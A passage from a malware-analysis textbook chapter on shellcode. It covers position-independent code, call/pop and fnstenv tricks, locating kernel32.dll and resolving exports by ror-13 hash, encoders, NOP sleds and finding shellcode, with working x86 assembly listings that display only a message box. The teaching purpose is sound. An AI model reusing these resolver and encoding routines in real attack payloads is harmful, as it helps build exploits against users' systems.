gram, or by malware performing process injection. Exploitation and process 
injection are similar in that the shellcode is added to a running program and 
executed after the process has started.

Shellcode requires its authors to manually perform several actions that 
software developers usually never worry about. For example, the shellcode 
package cannot rely on actions the Windows loader performs during normal 
program startup, including the following:

 Placing the program at its preferred memory location

 Applying address relocations if it cannot be loaded at its preferred 
memory location

 Loading required libraries and resolving external dependencies



This chapter will introduce you to these shellcode techniques, demon-
strated by full, working real-world examples.

Loading Shellcode for Analysis

Loading and running shellcode in a debugger is problematic because shell-
code is usually just a binary chunk of data that cannot run in the same way as 
a normal executable. To make things easier, we’ll use shellcode_launcher.exe 
(included with the labs available at http://www.practicalmalwareanalysis.com/) 
to load and jump to pieces of shellcode.

As discussed in Chapter 5, loading shellcode into IDA Pro for static 
analysis is relatively simple, but the user must provide input during the load 
process, since there is no executable file format that describes the contents 
of shellcode. First, you must ensure the correct processor type is selected 
in the load process dialog. For samples in this chapter, you can use the 
Intel 80x86 processors: metapc processor type and select 32-bit disassembly 
when prompted. IDA Pro loads the binary but performs no automatic analy-
sis (analysis must be done manually).

Position-Independent Code

Position-independent code (PIC) is code that uses no hard-coded addresses for 
either code or data. Shellcode is PIC. It cannot assume that it will be located 
at a particular memory location when it executes, because at runtime, differ-
ent versions of a vulnerable program may load the shellcode into different 
memory locations. The shellcode must ensure that all memory access for 
both code and data uses PIC techniques.

Table 19-1 shows several common types of x86 code and data access, and 
whether they are PIC.

In the table, the call instruction contains a 32-bit signed relative displace-
ment that is added to the address immediately following the call instruction in 
order to calculate the target location. Because the call instruction shown 
in the table is located at 0x0040103A, adding the offset value 0xFFFFFFC1  
to the location of the instruction, plus the size of the call instruction (5 bytes), 
results in the call target 0x00401000.

The jnz instruction is very similar to call, except that it uses only an 8-bit 
signed relative displacement. The jnz instruction is located at 0x00401034. 

Table 19-1: Different Types of x86 Code and Data Access

Instruction mnemonics Instruction bytes Position-independent?

call    sub_401000 E8 C1 FF FF FF  Yes

jnz     short loc_401044 75 0E  Yes

mov     edx, dword_407030  8B 15 30 70 40 00 No

mov     eax, [ebp-4]  8B 45 FC Yes
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Adding together this location, the offset stored in the instruction (0xe) , 
and the size of the instruction (2 bytes) results in the jump target 0x00401044.

As you can see, control-flow instructions such as call and jump are already 
position-independent. They calculate target addresses by adding a relative 
offset stored in the instruction to the current location specified by the EIP 
register. (Certain forms of call and jump allow programmers to use absolute, 
or nonrelative, addressing that is not position-independent, but they are 
easily avoided.)

The mov instruction at  shows an instruction accessing the global data 
variable dword_407030. The last 4 bytes in this instruction show the memory 
location 0x00407030. This particular instruction is not position-independent 
and must be avoided by shellcode authors.

Compare the mov instruction at  to the mov instruction at , which 
accesses a DWORD from the stack. This instruction uses the EBP register as a 
base, and contains a signed relative offset: 0xFC (-4). This type of data access 
is position-independent and is the model that shellcode authors must use for 
all data access: Calculate a runtime address and refer to data only by using 
offsets from this location. (The following section discusses finding an appro-
priate runtime address.)

Identifying Execution Location

Shellcode needs to dereference a base pointer when accessing data in a 
position-independent manner. Adding or subtracting values to this base 
value will allow it to safely access data that is included with the shellcode. 
Because the x86 instruction set does not provide EIP-relative data access, as 
it does for control-flow instructions, a general-purpose register must first be 
loaded with the current instruction pointer, to be used as the base pointer.

Obtaining the current instruction pointer may not be immediately 
obvious, because the instruction pointer on x86 systems cannot be directly 
accessed by software. In fact, there is no way to assemble the instruction 
mov eax, eip to directly load a general-purpose register with the current 
instruction pointer. However, shellcode uses two popular techniques to 
address this issue: call/pop and fnstenv instructions.

Using call/pop
When a call instruction is executed, the processor pushes the address of 
the instruction following the call onto the stack, and then branches to the 
requested location. This function executes, and when it completes, it exe-
cutes a ret instruction to pop the return address off the top of the stack 
and load it into the instruction pointer. As a result, execution returns to 
the instruction just after the call.

Shellcode can abuse this convention by immediately executing a pop 
instruction after a call, which will load the address immediately following 
the call into the specified register. Listing 19-1 shows a simple Hello World 
example that uses this technique.
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Bytes            Disassembly
83 EC 20         sub     esp, 20h
31 D2            xor     edx, edx
E8 0D 00 00 00   call    sub_17 
48 65 6C 6C 6F   db 'Hello World!',0 
20 57 6F 72 6C
64 21 00

sub_17: 
5F               pop     edi             ; edi gets string pointer
52               push    edx               ; uType: MB_OK 
57               push    edi               ; lpCaption
57               push    edi               ; lpText
52               push    edx               ; hWnd: NULL
B8 EA 07 45 7E   mov     eax, 7E4507EAh    ; MessageBoxA
FF D0            call    eax 
52               push    edx               ; uExitCode
B8 FA CA 81 7C   mov     eax, 7C81CAFAh    ; ExitProcess
FF D0            call    eax 

Listing 19-1: call/pop Hello World example

The call at  transfers control to sub_17 at . This is PIC because the 
call instruction uses an EIP relative value (0x0000000D) to calculate the call 
target. The pop instruction at  loads the address stored on top of the stack 
into EDI. 

Remember that the EIP value saved by the call instruction points to the 
location immediately following the call, so after the pop instruction, EDI will 
contain a pointer to the db declaration at . This db declaration is assembly 
language syntax to create a sequence of bytes to spell out the string Hello 
World!. After the pop at , EDI will point to this Hello World! string.

This method of intermingling code and data is normal for shellcode, 
but it can easily confuse disassemblers who try to interpret the data follow-
ing the call instruction as code, resulting in either nonsensical disassembly 
or completely halting the disassembly process if invalid opcode combina-
tions are encountered. As seen in Chapter 15, using call/pop pairs to obtain 
pointers to data may be incorporated into larger programs as an additional 
anti-reverse-engineering technique.

The remaining code calls MessageBoxA  to show the “Hello World!” mes-
sage, and then ExitProcess  to cleanly exit. This sample uses hard-coded 
locations for both function calls because imported functions in shellcode are 
not automatically resolved by the loader, but hard-coded locations make this 
code fragile. (These addresses come from a Windows XP SP3 box, and may 
differ from yours.)

To find these function addresses with OllyDbg, open any process and 
press CTRL-G to bring up the Enter Expression to Follow dialog. Enter 
MessageBoxA in the dialog and press ENTER. The debugger should show the 
location of the function, as long as the library with this export (user32.dll ) is 
loaded by the process being debugged.
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To load and step through this example with shellcode_launcher.exe, enter 
the following at the command line:

shellcode_launcher.exe -i helloworld.bin -bp -L user32

The -L user32 option is required because the shellcode does not call 
LoadLibraryA, so shellcode_launcher.exe must make sure this library is loaded. 
The -bp option inserts a breakpoint instruction just prior to jumping to the 
shellcode binary specified with the -i option. Recall that debuggers can be 
registered for just-in-time debugging and can be launched automatically (or 
when prompted) when a program encounters a breakpoint. If a debugger 
such as OllyDbg has been registered as a just-in-time debugger, it will open 
and attach to the process that encountered a breakpoint. This allows you to 
skip over the contents of the shellcode_launcher.exe program and begin at the 
start of the shellcode binary.

You can set OllyDbg as your just-in-time debugger by selecting Options
Just-in-time DebuggingMake OllyDbg Just-in-time Debugger.

NOTE Readers who wish to execute this example may need to modify the hard-coded function 
locations for MessageBoxA and ExitProcess. These addresses can be found as described 
in the text. Once the addresses have been found, you can patch helloworld.bin within 
OllyDbg by placing the cursor on the instruction that loads the hard-coded function 
location into register EAX and then pressing the spacebar. This brings up OllyDbg’s 
Assemble At dialog, which allows you to enter your own assembly code. This will be 
assembled by OllyDbg and overwrite the current instruction. Simply replace the 
7E4507EAh value with the correct value from your machine, and OllyDbg will patch 
the program in memory, allowing the shellcode to execute correctly.

Using fnstenv
The x87 floating-point unit (FPU) provides a separate execution environ-
ment within the normal x86 architecture. It contains a separate set of special-
purpose registers that need to be saved by the OS on a context switch when 
a process is performing floating-point arithmetic with the FPU. Listing 19-2 
shows the 28-byte structure used by the fstenv and fnstenv instructions to store 
the state of the FPU to memory when executing in 32-bit protected mode.

struct FpuSaveState {
    uint32_t    control_word;
    uint32_t    status_word;
    uint32_t    tag_word;
    uint32_t    fpu_instruction_pointer;
    uint16_t    fpu_instruction_selector;
    uint16_t    fpu_opcode;
    uint32_t    fpu_operand_pointer;
    uint16_t    fpu_operand_selector;
    uint16_t    reserved;
};

Listing 19-2: FpuSaveState structure definition
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The only field that matters for use here is fpu_instruction_pointer at 
byte offset 12. This will contain the address of the last CPU instruction 
that used the FPU, providing context information for exception handlers 
to identify which FPU instructions may have caused a fault. This field is 
required because the FPU is running in parallel with the CPU. If the FPU 
generates an exception, the exception handler cannot simply look at the 
interrupt return address to identify the instruction that caused the fault.

Listing 19-3 shows the disassembly of another Hello World program that 
uses fnstenv to obtain the EIP value.

Bytes            Disassembly
83 EC 20         sub     esp, 20h
31 D2            xor     edx, edx
EB 15            jmp     short loc_1C
EA 07 45 7E      dd 7E4507EAh               ; MessageBoxA
FA CA 81 7C      dd 7C81CAFAh               ; ExitProcess
48 65 6C 6C 6F   db 'Hello World!',0
20 57 6F 72 6C 
64 21 00            

loc_1C:

D9 EE            fldz 
D9 74 24 F4      fnstenv byte ptr [esp-0Ch] 
5B               pop     ebx       ; ebx points to fldz 
8D 7B F3         lea     edi, [ebx-0Dh]  ; load HelloWorld pointer
52               push    edx                ; uType: MB_OK 
57               push    edi                ; lpCaption
57               push    edi                ; lpText
52               push    edx                ; hWnd: NULL
8B 43 EB         mov     eax, [ebx-15h]  ; load MessageBoxA
FF D0            call    eax                ; call MessageBoxA
52               push    edx                ; uExitCode
8B 43 EF         mov     eax, [ebx-11h]   ; load ExitProcess
FF D0            call    eax                ; call ExitProcess

Listing 19-3: fnstenv Hello World example

The fldz instruction at  pushes the floating-point number 0.0 onto the 
FPU stack. The fpu_instruction_pointer value is updated within the FPU to 
point to the fldz instruction.

Performing the fnstenv at  stores the FpuSaveState structure onto the 
stack at [esp-0ch], which allows the shellcode to do a pop at  that loads 
EBX with the fpu_instruction_pointer value. Once the pop executes, EBX will 
contain a value that points to the location of the fldz instruction in mem-
ory. The shellcode then starts using EBX as a base register to access the 
data embedded in the code.

As in the previous Hello World example, which used the call/pop 
technique, this code calls MessageBoxA and ExitProcess using hard-coded 
locations, but here the function locations are stored as data along with the 
ASCII string to print. The lea instruction at  loads the address of the Hello 
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World! string by subtracting 0x0d from the address of the fldz instruction 
stored in EBX. The mov instruction at  loads the first function location for 
MessageBoxA, and the mov instruction at  loads the second function location 
for ExitProcess.

NOTE Listing 19-3 is a contrived example, but it is common for shellcode to store or create 
function pointer arrays. We used the fldz instruction in this example, but any non-
control FPU instruction can be used.

This example can be executed using shellcode_launcher.exe with the follow-
ing command:

shellcode_launcher.exe -i hellofstenv.bin -bp -L user32

Manual Symbol Resolution

Shellcode exists as a binary blob that gains execution. It must do something 
useful once it gains execution, which usually means interacting with the sys-
tem through APIs.

Remember that shellcode cannot use the Windows loader to ensure 
that all required libraries are loaded and available, and to make sure that 
all external symbols are resolved. Instead, it must find the symbols itself. The 
shellcode in the previous examples used hard-coded addresses to find the 
symbols, but this very fragile method will work only on a specific version of 
an OS and service pack. Shellcode must dynamically locate the functions in 
order to work reliably in different environments, and for that task, it typically 
uses LoadLibraryA and GetProcAddress.

LoadLibraryA loads the specified library and returns a handle. The 
GetProcAddress function searches the library’s exports for the given symbol 
name or ordinal number. If shellcode has access to these two functions, it 
can load any library on the system and find exported symbols, at which 
point it has full access to the API.

Both functions are exported from kernel32.dll, so the shellcode must do 
the following:

 Find kernel32.dll in memory.

 Parse kernel32.dll’s PE file and search the exported functions for 
LoadLibraryA and GetProcAddress.

Finding kernel32.dll in Memory
In order to locate kernel32.dll, we’ll follow a series of undocumented 
Windows structures. One of these structures contains the load address 
of kernel32.dll.
Shel lcode Analys is 413



NOTE Most of the Windows structures are listed on the Microsoft Developer Network (MSDN) 
site, but they are not fully documented. Many contain byte arrays named Reserved, 
with the warning “This structure may be altered in future versions of Windows.” For 
full listings of these structures, see http://undocumented.ntinternals.net/.

Figure 19-1 shows the data structures that are typically followed in order 
to find the base address for kernel32.dll (only relevant fields and offsets within 
each structure are shown).

Figure 19-1: Structure traversal to find kernel32.dll DllBase

The process begins with the TEB, accessible from the FS segment regis-
ter. Offset 0x30 within the TEB is the pointer to the PEB. Offset 0xc within 
the PEB is the pointer to the PEB_LDR_DATA structure, which contains three 
doubly linked lists of LDR_DATA_TABLE structures—one for each loaded module. 
The DllBase field in the kernel32.dll entry is the value we’re seeking.

Three LIST_ENTRY structures link the LDR_DATA_TABLE entries together in 
different orders, by name. The InInitializationOrderLinks entry is typically 
followed by shellcode. From Windows 2000 through Vista, kernel32.dll is the 
second DLL initialized, just after ntdll.dll, which means that the second 
entry in the InInitializationOrderLinks list of structures should belong to 
kernel32.dll. However, beginning with Windows 7, kernel32.dll is no longer 
the second module to be initialized, so this simple algorithm no longer 
works. Portable shellcode will instead need to examine the UNICODE_STRING 
FullDllName field to confirm it is kernel32.dll.

When traversing the LIST_ENTRY structures, it is important to realize that 
the Flink and Blink pointers point to the equivalent LIST_ENTRY in the next 
and previous LDR_DATA_TABLE structures. This means that when following the 
InInitializationOrderLinks to get to kernel32.dll’s LDR_DATA_TABLE_ENTRY, you 
need to add only eight to the pointer to get the DllBase, instead of adding 
0x18, which you would have to do if the pointer pointed to the start of the 
structure.

TEB
...

0x30: PPEB peb;
... PEB

...

0x0c: PPEB_LDR_data ldr;
... PEB_LDR_Data

...

0x0c: LIST_ENTRY InLoadOrderLinks;

...

0x14: LIST_ENTRY InMemoryOrderLinks;
0x1c: LIST_ENTRY InInitializationOrderLinks;

ntdll.dll LDR_DATA_TABLE_ENTRY

0x00: LIST_ENTRY InLoadOrderLinks;

...

0x08: LIST_ENTRY InMemoryOrderLinks;
0x10: LIST_ENTRY InInitializationOrderLinks;

kernel32.dll LDR_DATA_TABLE_ENTRY

0x00: LIST_ENTRY InLoadOrderLinks;
0x08: LIST_ENTRY InMemoryOrderLinks;
0x10: LIST_ENTRY InInitializationOrderLinks;
0x18: PVOID DllBase;
...
0x24: UNICODE_STRING FullDllName;
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Listing 19-4 contains sample assembly code that finds the base address of 
kernel32.dll.

; __stdcall DWORD findKernel32Base(void);
findKernel32Base:
    push    esi
    xor     eax, eax
    mov     eax, [fs:eax+0x30]  ; eax gets pointer to PEB
    test    eax, eax            ; if high bit set: Win9x
    js      .kernel32_9x 
    mov     eax, [eax + 0x0c]  ; eax gets pointer to PEB_LDR_DATA
    ;esi gets pointer to 1st
    ;LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink
    mov     esi, [eax + 0x1c]
    ;eax gets pointer to 2nd
    ;LDR_DATA_TABLE_ENTRY.InInitializationOrderLinks.Flink
    lodsd 
    mov     eax, [eax + 8]      ; eax gets LDR_DATA_TABLE_ENTRY.DllBase
    jmp     near .finished
.kernel32_9x:
    jmp     near .kernel32_9x  ; Win9x not supported: infinite loop
.finished:
    pop     esi
    ret

Listing 19-4: findKernel32Base implementation

The listing accesses the TEB using the FS segment register at  to get 
the pointer to the PEB. The js ( jump if signed) instruction at  is used to 
test whether the most significant bit of the PEB pointer is set, in order to 
differentiate between Win9x and WinNT systems. In WinNT (including 
Windows 2000, XP, and Vista), the most significant bit of the PEB pointer is 
typically never set, because high memory addresses are reserved for the OS. 
Using the sign bit to identify the OS family fails on systems that use the /3GB 
boot option, which causes the user-level/kernel-level memory split to occur 
at 0xC0000000 instead of 0x8000000, but this is ignored for this simple 
example. This shellcode chose not to support Win9x, so it enters an infinite 
loop at  if Win9x is detected.

The shellcode proceeds to PEB_LDR_DATA at . It assumes that it is run-
ning under Windows Vista or earlier, so it can simply retrieve the second 
LDR_DATA_TABLE_ENTRY in the InInitializationOrderLinks linked list at  and 
return its DllBase field.

Parsing PE Export Data
Once you find the base address for kernel32.dll, you must parse it to find 
exported symbols. As with finding the location of kernel32.dll, this process 
involves following several structures in memory.
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PE files use relative virtual addresses (RVAs) when defining locations 
within a file. These addresses can be thought of as offsets within the PE 
image in memory, so the PE image base address must be added to each 
RVA to turn it into a valid pointer.

The export data is stored in IMAGE_EXPORT_DIRECTORY. An RVA to this 
is stored in the array of IMAGE_DATA_DIRECTORY structures at the end of the 
IMAGE_OPTIONAL_HEADER. The location of the IMAGE_DATA_DIRECTORY array depends 
on whether the PE file is for a 32-bit application or a 64-bit application. 
Typical shellcode assumes it is running on a 32-bit platform, so it knows at 
compile time that the correct offset from the PE signature to the directory 
array is as follows:

sizeof(PE_Signature) + sizeof(IMAGE_FILE_HEADER) + sizeof(IMAGE_OPTIONAL_HEADER) = 120 bytes

The relevant fields in the IMAGE_EXPORT_DIRECTORY structure are shown in 
Figure 19-2. AddressOfFunctions is an array of RVAs that points to the actual 
export functions. It is indexed by an export ordinal (an alternative way of 
finding an exported symbol).

The shellcode needs to map the export name to the ordinal in order to 
use this array, and it does so using the AddressOfNames and AddressOfNameOrdinals 
arrays. These two arrays exist in parallel. They have the same number 
of entries, and equivalent indices into these arrays are directly related. 
AddressOfNames is an array of 32-bit RVAs that point to the strings of symbol 
names. AddressOfNameOrdinals is an array of 16-bit ordinals. For a given index 
idx into these arrays, the symbol at AddressOfNames[idx] has the export ordinal 
value at AddressOfNameOrdinals[idx]. The AddressOfNames array is sorted alpha-
betically so that a binary search can quickly find a specific string, though 
most shellcode simply performs a linear search starting at the beginning of 
the array.

To find the export address of a symbol, follow these steps:

1. Iterate over the AddressOfNames array looking at each char* entry, and 
perform a string comparison against the desired symbol until a match 
is found. Call this index into AddressOfNames iName.

2. Index into the AddressOfNameOrdinals array using iName. The value retrieved 
is the value iOrdinal.

3. Use iOrdinal to index into the AddressOfFunctions array. The value 
retrieved is the RVA of the exported symbol. Return this value to the 
requester.

A sample implementation of this algorithm is shown later in the chapter 
as part of a full Hello World example.
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Figure 19-2: kernel32.dll IMAGE_EXPORT_DIRECTORY

Once the shellcode finds LoadLibraryA, it can load arbitrary libraries. The 
return value of LoadLibraryA is treated as a HANDLE in the Win32 API. Examin-
ing the HANDLE values shows that it is actually a 32-bit pointer to the dllBase of 
the library that was loaded, which means that the shellcode can skip using 
GetProcAddress and continue using its own PE parsing code with the dllBase 
pointers returned from LoadLibraryA (which is also beneficial when hashed 
names are used, as explained in the next section).

Using Hashed Exported Names
The algorithm just discussed has a weakness: It performs a strcmp against 
each export name until it finds the correct one. This requires that the full 
name of each API function the shellcode uses be included as an ASCII string. 
When the size of the shellcode is constrained, these strings could push the 
size of the shellcode over the limit.

;BOOL __stdcall ActivateActCtx(HANDLE hActCtx, ULONG_PTR *lpCookie)
mov  edi, edi
push ebp
mov  ebp, esp
...

;ATOM __stdcall AddAtomA(LPCSTR lpString)
mov  edi, edi
push ebp
mov  ebp, esp
...

;ATOM __stdcall AddAtomW(LPCWSTR lpString)
mov  edi, edi
push ebp
mov  ebp, esp
...

...

...

...

IMAGE_EXPORT_DIRECTORY

...
0x18: NumberOfNames
0x1c: AddressOfFunctions
0x20: AddressOfNames
0x24: AddressOfNameOrdinals

"ActivateActCtx"

"AddAtomA"

"AddAtomW"

"lstrln"

"lstrlnA"

"lstrlnW"

0 1 2 3b6 3b7 3b8
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A common way to address this problem is to calculate a hash of each 
symbol string and compare the result with a precomputed value stored in the 
shellcode. The hash function does not need to be sophisticated; it only needs 
to guarantee that within each DLL used by the shellcode, the hashes that the 
shellcode uses are unique. Hash collisions between symbols in different 
DLLs and between symbols the shellcode does not use are fine.

The most common hash function is the 32-bit rotate-right-additive hash, 
as shown in Listing 19-5.

; __stdcall DWORD hashString(char* symbol);
hashString:
    push    esi
    push    edi
    mov     esi, dword [esp+0x0c]   ; load function argument in esi
.calc_hash:
    xor     edi, edi 
    cld
.hash_iter:
    xor     eax, eax
    lodsb                 ; load next byte of input string
    cmp     al, ah
    je      .hash_done              ; check if at end of symbol
    ror     edi, 0x0d  ; rotate right 13 (0x0d)
    add     edi, eax
    jmp     near .hash_iter
.hash_done:
    mov     eax, edi
    pop     edi
    pop     esi
    retn    4

Listing 19-5: hashString implementation

This function calculates a 32-bit DWORD hash value of the string pointer 
argument. The EDI register is treated as the current hash value, and is ini-
tialized to zero at . Each byte of the input string is loaded via the lodsb 
instruction at . If the byte is not NULL, the current hash is rotated right 
by 13 (0x0d) at , and the current byte is added into the hash. This hash is 
returned in EAX so that its caller can compare the result with the value 
compiled into the code.

NOTE The particular algorithm in Listing 19-5 has become commonly used due to its inclu-
sion in Metasploit, but variations that use different rotation amounts and hash sizes 
are sometimes seen.

A Full Hello World Example

Listing 19-6 shows a full implementation of the findSymbolByHash function that 
can be used to find exported symbols in loaded DLLs.
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; __stdcall DWORD findSymbolByHash(DWORD dllBase, DWORD symHash);
findSymbolByHash:
    pushad
    mov     ebp, [esp + 0x24]       ; load 1st arg: dllBase
    mov     eax, [ebp + 0x3c]  ; get offset to PE signature
    ; load edx w/ DataDirectories array: assumes PE32
    mov     edx, [ebp + eax + 4+20+96] 
    add     edx, ebp                ; edx:= addr IMAGE_EXPORT_DIRECTORY
    mov     ecx, [edx + 0x18]     ; ecx:= NumberOfNames
    mov     ebx, [edx + 0x20]       ; ebx:= RVA of AddressOfNames
    add     ebx, ebp                ; rva->va
.search_loop:
    jecxz   .error_done             ; if at end of array, jmp to done
    dec     ecx                     ; dec loop counter
    ; esi:= next name, uses ecx*4 because each pointer is 4 bytes
    mov     esi, [ebx+ecx*4]        
    add     esi, ebp                ; rva->va
    push    esi       
    call    hashString  ; hash the current string
    ; check hash result against arg #2 on stack: symHash
    cmp     eax, [esp + 0x28] 
    jnz     .search_loop
    ; at this point we found the string in AddressOfNames
    mov     ebx, [edx+0x24]         ; ebx:= ordinal table rva
    add     ebx, ebp                ; rva->va
    ; turn cx into ordinal from name index. 
    ; use ecx*2: each value is 2 bytes
    mov     cx, [ebx+ecx*2] 
    mov     ebx, [edx+0x1c]         ; ebx:= RVA of AddressOfFunctions
    add     ebx, ebp                ; rva->va
    ; eax:= Export function rva. Use ecx*4: each value is 4 bytes
    mov     eax, [ebx+ecx*4]         
    add     eax, ebp                ; rva->va
    jmp     near .done
.error_done:
    xor     eax, eax                ; clear eax on error
.done:
    mov     [esp + 0x1c], eax  ; overwrite eax saved on stack
    popad
    retn    8

Listing 19-6: findSymbolByHash implementation

The function takes as arguments a pointer to the base of the DLL and a 
32-bit hash value that corresponds to the symbol to find. It returns the pointer 
to the requested function in register EAX. Remember that all addresses in 
a PE file are stored as RVAs, so code needs to continuously add the dllBase 
value (kept in register EBP in this example) to the RVAs retrieved from PE 
structures to create pointers it can actually use.

The code begins parsing the PE file at  to get the pointer to the PE 
signature. A pointer to IMAGE_EXPORT_DIRECTORY is created at  by adding the 
correct offset, assuming this is a 32-bit PE file. The code begins parsing the 
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IMAGE_EXPORT_DIRECTORY structure at , loading the NumberOfNames value and the 
AddressOfNames pointer. Each string pointer in AddressOfNames is passed to the 
hashString function at , and the result of this calculation is compared 
against the value passed as the function argument at .

Once the correct index into AddressOfNames is found, it is used as an index 
into the AddressOfNameOrdinals array at location  to obtain the correspond-
ing ordinal value, which is used as an index into the AddressOfFunctions array 
at . This is the value the user wants, so it is written to the stack at , over-
writing the EAX value saved by the pushad instruction so that this value is pre-
served by the following popad instruction.

Listing 19-7 shows a complete Hello World shellcode example that 
uses the previously defined findKernel32Base and findSymbolByHash functions, 
instead of relying on hard-coded API locations.

    mov     ebp, esp
    sub     esp, 24h
    call    sub_A0             ; call to real start of code
    db 'user32',0   
    db 'Hello World!!!!',0
sub_A0:
    pop     ebx                 ; ebx gets pointer to data
    call    findKernel32Base 
    mov     [ebp-4], eax        ; store kernel32 base address
    push    0EC0E4E8Eh          ; LoadLibraryA hash
    push    dword ptr [ebp-4]
    call    findSymbolByHash 
    mov     [ebp-14h], eax      ; store LoadLibraryA location
    lea     eax, [ebx]        ; eax points to "user32"
    push    eax
    call    dword ptr [ebp-14h] ; LoadLibraryA
    mov     [ebp-8], eax        ; store user32 base address
    push    0BC4DA2A8h        ; MessageBoxA hash
    push    dword ptr [ebp-8]   ; user32 dll location
    call    findSymbolByHash
    mov     [ebp-0Ch], eax      ; store MessageBoxA location
    push    73E2D87Eh           ; ExitProcess hash
    push    dword ptr [ebp-4]   ; kernel32 dll location
    call    findSymbolByHash
    mov     [ebp-10h], eax      ; store ExitProcess location
    xor     eax, eax
    lea     edi, [ebx+7]        ; edi:= "Hello World!!!!" pointer
    push    eax                 ; uType: MB_OK
    push    edi                 ; lpCaption
    push    edi                 ; lpText
    push    eax                 ; hWnd: NULL
    call    dword ptr [ebp-0Ch] ; call MessageBoxA
    xor     eax, eax
    push    eax                 ; uExitCode
    call    dword ptr [ebp-10h] ; call ExitProcess

Listing 19-7: Position-independent Hello World
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The code begins by using a call/pop at  to obtain a pointer to the 
data starting at . It then calls findKernel32Base at  to find kernel32.dll and 
calls findSymbolByHash at  to find the export in kernel32.dll with the hash 
0xEC0E4E8E. This is the ror-13-additive hash of the string LoadLibraryA. 
When this function returns EAX, it will point to the actual memory loca-
tion for LoadLibraryA.

The code loads a pointer to the "user32" string at  and calls the 
LoadLibraryA function. It then finds the exported function MessageBoxA at  
and calls it to display the “Hello World!!!!” message. Finally, it calls 
ExitProcess to cleanly exit.

NOTE Using the shellcode’s PE parsing ability instead of GetProcAddress has the additional 
benefit of making reverse-engineering of the shellcode more difficult. The hash values 
hide the API calls used from casual inspection.

Shellcode Encodings

In order to execute, the shellcode binary must be located somewhere in the 
program’s address space when it is triggered. When paired with an exploit, 
this means that the shellcode must be present before the exploit occurs or be 
passed along with the exploit. For example, if the program is performing 
some basic filtering on input data, the shellcode must pass this filter, or it will 
not be in the vulnerable process’s memory space. This means that shellcode 
often must look like legitimate data in order to be accepted by a vulnerable 
program.

One example is a program that uses the unsafe string functions strcpy 
and strcat, both of which do not set a maximum length on the data they 
write. If a program reads or copies malicious data into a fixed-length buffer 
using either of these functions, the data can easily exceed the size of the 
buffer and lead to a buffer-overflow attack. These functions treat strings as 
an array of characters terminated by a NULL (0x00) byte. Shellcode that an 
attacker wants copied into this buffer must look like valid data, which means 
that it must not have any NULL bytes in the middle that would prematurely 
end the string-copy operation.

Listing 19-8 shows a small piece of disassembly of code used to access the 
registry, with seven NULL bytes in this selection alone. This code could typi-
cally not be used as-is in a shellcode payload.

57                  push    edi
50                  push    eax             ; phkResult
6A 01               push    1               ; samDesired
8D 8B D0 13 00 00   lea     ecx, [ebx+13D0h]
6A 00               push    0               ; ulOptions
51                  push    ecx             ; lpSubKey
68 02 00 00 80      push    80000002h       ; hKey: HKEY_LOCAL_MACHINE
FF 15 20 00 42 00   call    ds:RegOpenKeyExA

Listing 19-8: Typical code with highlighted NULL bytes
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Programs may perform additional sanity checks on data that the shell-
code must pass in order to succeed, such as the following:

 All bytes are printable (less than 0x80) ASCII bytes.

 All bytes are alphanumeric (A through Z, a through z, or 0 through 9).

To overcome filtering limitations by the vulnerable program, nearly all 
shellcode encodes the main payload to pass the vulnerable program’s filter 
and inserts a decoder that turns the encoded payload into executable bytes. 
Only the small decoder section must be written carefully so that its instruc-
tion bytes will pass the strict filter requirements; the rest of the payload can 
be encoded at compile time to also pass the filter. If the shellcode writes the 
decoded bytes back on top of the encoded bytes (as usual), the shellcode is 
self-modifying. When the decoding is complete, the decoder transfers con-
trol to the main payload to execute.

The following are common encoding techniques:

 XOR all payload bytes with constant byte mask. Remember that for all 
values of the same size a,b that (a XOR b) XOR b == a.

 Use an alphabetic transform where a single byte of payload is split 
into two 4-bit nibbles and added to a printable ASCII character (such 
as A or a).

Shellcode encodings have additional benefits for the attackers, in that 
they make analysis more difficult by hiding human-readable strings such as 
URLs or IP addresses. Also, they may help evade network IDSs.

NOP Sleds

A NOP sled (also known as a NOP slide) is a long sequence of instructions pre-
ceding shellcode, as shown in Figure 19-3. NOP sleds are not required to be 
present with shellcode, but they are often included as part of an exploit to 
increase the likelihood of the exploit succeeding. Shellcode authors can do 
this by creating a large NOP sled immediately preceding the shellcode. As 
long as execution is directed somewhere within the NOP sled, the shellcode 
will eventually run.

Figure 19-3: NOP sled and shellcode layout

Traditional NOP sleds are made up of long sequences of the NOP (0x90) 
instruction, but exploit authors can be creative in order to avoid detection. 
Other popular opcodes are in the 0x40 to 0x4f range. These opcodes are single-
byte instructions that increment or decrement the general-purpose registers. 

NOP Sled Decoder Encoded Payload

Jump Location
422 Chapter 19



This opcode byte range also consists of only printable ASCII characters. This 
is often useful because the NOP sled executes before the decoder runs, so it 
must pass the same filtering requirements as the rest of the shellcode.

Finding Shellcode

Shellcode can be found in a variety of sources, including network traffic, web 
pages, media files, and malware. Because it is not always possible to create an 
environment with the correct version of the vulnerable program that the 
exploit targets, the malware analyst must try to reverse-engineer shellcode 
using only static analysis.

Malicious web pages typically use JavaScript to profile a user’s system 
and check for vulnerable versions of the browser and installed plug-ins. 
The JavaScript unescape is typically used to convert the encoded shellcode 
text into a binary package suitable for execution. Shellcode is often stored 
as an encoded text string included with the script that triggers the exploit.

The encoding understood by unescape treats the text %uXXYY as an encoded 
big-endian Unicode character, where XX and YY are hex values. On little-endian 
machines (such as x86), the byte sequence YY XX will be the result after decod-
ing. For example, consider this text string:

%u1122%u3344%u5566%u7788%u99aa%ubbcc%uddee 

It will be decoded to the following binary byte sequence:

22 11 44 33 66 55 88 77 aa 99 cc bb ee dd

A % symbol that is not immediately followed by the letter u is treated as a 
single encoded hex byte. For example, the text string %41%42%43%44 will be 
decoded to the binary byte sequence 41 42 43 44.

NOTE Both single- and double-byte encoded characters can be used within the same text string. 
This is a popular technique wherever JavaScript is used, including in PDF documents.

Shellcode used within a malicious executable is usually easy to identify 
because the entire program will be written using shellcode techniques as 
obfuscation, or a shellcode payload will be stored within the malware and will 
be injected into another process.

The shellcode payload is usually found by looking for the typical process-
injection API calls discussed in Chapter 12: VirtualAllocEx, WriteProcessMemory, 
and CreateRemoteThread. The buffer written into the other process probably 
contains shellcode if the malware launches a remote thread without applying 
relocation fix-ups or resolving external dependencies. This may be conve-
nient for the malware writer, since shellcode can bootstrap itself and execute 
without help from the originating malware.

Sometimes shellcode is stored unencoded within a media file. Disassem-
blers such as IDA Pro can load arbitrary binary files, including those suspected 
of containing shellcode. However, even if IDA Pro loads the file, it may not 
analyze the shellcode, because it does not know which bytes are valid code.
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Finding shellcode usually means searching for the initial decoder that is 
likely present at the start of the shellcode. Useful opcodes to search for are 
listed in Table 19-2.

